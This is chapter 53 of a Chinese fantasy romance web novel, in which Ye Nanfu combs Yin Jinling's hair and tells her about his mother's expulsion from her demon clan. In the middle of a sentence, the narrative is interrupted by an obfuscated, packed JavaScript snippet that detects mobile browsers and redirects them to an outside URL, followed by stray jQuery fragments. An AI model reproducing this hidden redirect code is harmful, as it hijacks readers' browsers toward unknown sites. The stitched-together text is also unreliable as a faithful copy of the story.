53. 第 53 章

    叶南扶说完,似乎觉得不妥,连忙又语速飞快地补上了一句:“你梳得太容易散了,稍微动两下就很多碎发,我看着很不舒服。”


    他怎么突然之间说话又通顺回来了?


    不过殷烬翎此时也顾不上吐槽了,她觉得自己大约是看久了被传染了,不然为什么自己脸颊和耳朵也忽然间热了起来。


    但这还不是最可怕的,最可怕的是,她明明光是想象一下叶南扶给自己梳发髻的场面,便会觉得尴尬欲死,可心底却生不出拒绝的念头。


    叶南扶依然撇着视线,脸上和脖子间连成了绯红一片,似漫天的红云霞光,似遍野的春日桃林,似他手中簪子上的鸢尾,令人下意识屏住了呼吸,不忍其破碎零落。


    她僵硬地点了点头,一边心里却在嚎叫,快住手,你不要命了嘛?尴尬症发作起来可不是开玩笑的!要是当场嘎嘣一下死这儿了怎么办?


    他从椅子上起身,默默地立在了椅子背后,虽并未看向她,但意思不言而喻。


    她缓缓吸了口气,鼓起勇气走了过去,然而刚一挨到椅子便哆嗦了一下,她听见背后传来一声短促的气音,像是控制不住溢出唇间的一声闷笑,她默念着佶屈聱牙的经文强迫自己不去在意,战战兢兢坐了上去。


    然后,久久不见动静,令她如坐针毡,就在她忍不住想转过头去看看情况之时,一只手从后头撩起她的发,慢慢地,慢慢地,顺着一路抹到了发尾。


    她只觉耳畔声音顷刻褪了个干干净净,只余下失了节律的心跳,化作了铺天盖地的闷响,有如急促落下的杂乱鼓点。


    另一边不知何时多了个梳子,穿入执起的一缕发中,动作细致轻柔,像在呵护什么贵重珍品一般,缓缓地移着梳到了底。


    接着再一下,第三下,第四下……


    也不知从何时起,原本充斥着满心的尴尬之感奇异地渐渐消退,终于再也寻不到踪迹了,她僵硬的身子也慢慢放松了下来,除了心口还在如前般剧烈跃动,毫无平息的迹象。


    全部梳毕之后,梳子被暂时搁置在了一边,两手拢起铺开成片的青丝,慢慢挽起,如同篆刻玉石那般,仔细地一点一点雕琢成一个精致的发髻,尔后一声珠玉碰撞的清脆响动,是那支鸢尾簪子上的两枚珠子发出的,紧接着簪子被轻轻送入了梳好的发髻间,再稍事调整一番形状,便可算完工了。


    但这人完成了也不说一句,只不言不语地静静瞧着,她见许久都未再有下一步动作,大抵是梳好了,不过面前并未摆着铜镜,瞧不见梳成了什么模样,而她此时虽比起初放松了些许,却也没有放松到可以明目张胆地从袖子里掏出铜镜来照的地步,故而只是左右轻轻晃了晃,觉着是比自己以往瞎折腾的要牢固许多,不由心下感叹着老哥这梳发髻的手艺居然意外地不错。


    “年少时母亲教的,从前常常会给她梳。”


    殷烬翎闻言一愣,这才意识到自己方才不慎将心中感叹的说出声了,不禁有些许赧然,不过也要多亏如此,才得以开启正常的交谈,不然两人不知还要相对无言地沉寂上多久。


    “你上回说,那个玉簪也是你母亲做给你的吧。”


    叶南扶微不可闻地应了一声“嗯”,若不是殷烬翎离得近,只怕根本听不见。


    “她是……怎样的人呢?”


    叶南扶沉默了,过了许久才再度开口,低沉的声音里带了些晦涩的情绪,尾音中透着点沙哑。


    他道:“一个滥好人。”


    殷烬翎听出他语气有异,觉得这当中可能有些故事。


    “你想同我讲讲嘛?你母亲的事。”她小心地问。


    叶南扶默了默,突然道:“我记得,我还欠你一个故事。”


    “啊,你若是因为那个才打算说的话,还是不要勉强了。”殷烬翎连忙道,“我也没那么急着要你兑现的。”


    叶南扶忽然笑了起来,低低的气音拂在她耳尖,令她有些发痒,忍不住缩了缩脖子。


    “不用那个换,我是自己想说的,况且那时我所想的也并非此事。”


    说着他便去外头寻了个椅子,打算搬到她边上来,殷烬翎则趁这个空当,从袖里乾坤中取了面铜镜出来,照照自己当下的模样。


    镜子里的少女明眸秀眉,一头青丝梳得相当妥帖,除了额前还留了些之外,其余碎发尽数理得整整齐齐,盘在发髻上,相较于她往日松垮垮的发髻,更添了几分精气神。她用了晃了晃头,簪子上的两枚珠玉发出的叮当轻响。


    这时一把椅子放到了她身旁,她转首看过去,叶南扶也正看着她,见她瞧了过来,连忙埋下头去摆放椅子。她也不声不响地赶紧将铜镜塞回了袖子里,虽然她也不明白自己究竟在心虚些什么。


    叶南扶坐了下来,不是他惯常那些东倒西歪的姿势,也不算正襟危坐,只是如她一般,普通的坐着而已。


    待他坐下之后,两人便又自然而然陷入了漫长的沉默,不过奇异的是,这静默并未使她觉得尴尬,准确来说自方才放松下来以后,就没再见尴尬症出来冒头了,教她一度怀疑这纠缠她多年的病是不是不药而愈了。


    又过了一会,似乎是终于斟酌好了词句,他开了口。


    “我是随的母姓,我的母亲原本来自魔界三大家族之一的血麒麟族。”


    殷烬翎敏锐地捕捉到了一个词:“原本?”


    “嗯。”叶南扶垂下眼眸应了声,“因为她早已被逐出家族了。”


    “她……耳根太软了,一向不会拒绝人,没禁住对方苦苦哀求,放走了一个族长下令严加看管的要犯。”叶南扶垂眼盯着自己鞋尖,缓缓道,“族长一怒之下便将我母亲逐出了家族。”


    “我们那儿,被三大家族驱逐除名的人称作弃子,弃子境遇悲惨异常。”他接着道,“弃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185875|172410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子失去了家族的庇佑,往日遭三大家族欺凌压迫的小族都会来找麻烦,更有甚者还会沦落进黑市交易里,弃子可算得上是魔界最为底层之人了。母亲她自小在修行一途上便没什么天分,修为灵力都较为平庸,若不是被父亲所救,安置在了血月谷,她恐怕很难生存下来。”


    “那他们如今……”殷烬翎一问出口便有些后悔了,叶南扶独自一人意外来到了往生界,却从未提起过他们会担心之类的话,显然……


    “已经不在了。父亲我记事起从未见过,母亲也在我年少时便过世了。”


    他忽然顿了顿,语气变得有些低沉,隐隐含有几分难以察觉的冰冷:“她过世前,才同我说起,当年放走的那个犯人,是她的亲姐姐,她姐姐自小天赋异禀,母亲一向对其分外崇拜,故而当年之事她一点也不怨,不光如此,她还要我也莫生怨怼,所以才给我起名为叶恕。”


    “但是,怎么可能不怨,且不说母亲本就是代其受过,她这位姐姐既然修为如此过人,在她被逐出家族,失魂落魄人人可欺之时,为何从未帮忙提携过一次,这许多年又为何从未想过来看看她,若不是侥幸遇上父亲,她焉能活下来对我说出这番话?”


    他闭了眼,脑中有个轻柔的声音一直在唤他,断断续续、气若游丝,却强打精神,一直努力说着。


    阿恕,阿恕,不要怪她,是我自愿的放走她的……一切都是我自愿的,怨不了别人……


    他深深叹了一口气,用力挥去这些扰乱心绪的声音。


    “所以,在她过世之后,我私自将名字改为了叶述。”


    似乎意识到自己方才有所失态,他又垂下了眸子,轻轻道了句:“抱歉,不小心说多了。”


    殷烬翎摇摇头:“无妨。”


    她看得出,这些事恐怕闷在他心里很久了,大约从未对人说起过。她为自己能听到他这番话庆幸的同时,不由也生出些许怅然来。


    他从前都没有可以说这些话的朋友嘛?他活了两万岁,最后却只能与一个认识才不过数月的人说道心事,他该有多孤独。


    她不敢想下去,便开口缓和气氛:“我其实有点羡慕,你年少时至少还有娘亲陪伴,我却是从未见过我的爹娘。”


    闻言,原本垂着眼的叶南扶蓦地望了过来,目光定凝在她脸上。


    她被看得有些不大舒服,想着他情绪不大好便也没提出来,只微微错开了视线,接着道:“我自小是师门养大的。”


    “听我师父说,有一年春日,他下山时见一个布包被放在了清霄山下,里头裹着一个正啼哭的半大女婴,没有任何辨识身份的物什,仅有一个匆忙塞着的字条,上边写着‘殷梨,表字烬翎’,想来是已取好了名。他便捡了回去收作徒弟,悉心教养大了,就成了今日的我。”


    叶南扶听罢皱了皱眉,道:“你对这之前的事,都没什么印象吗?”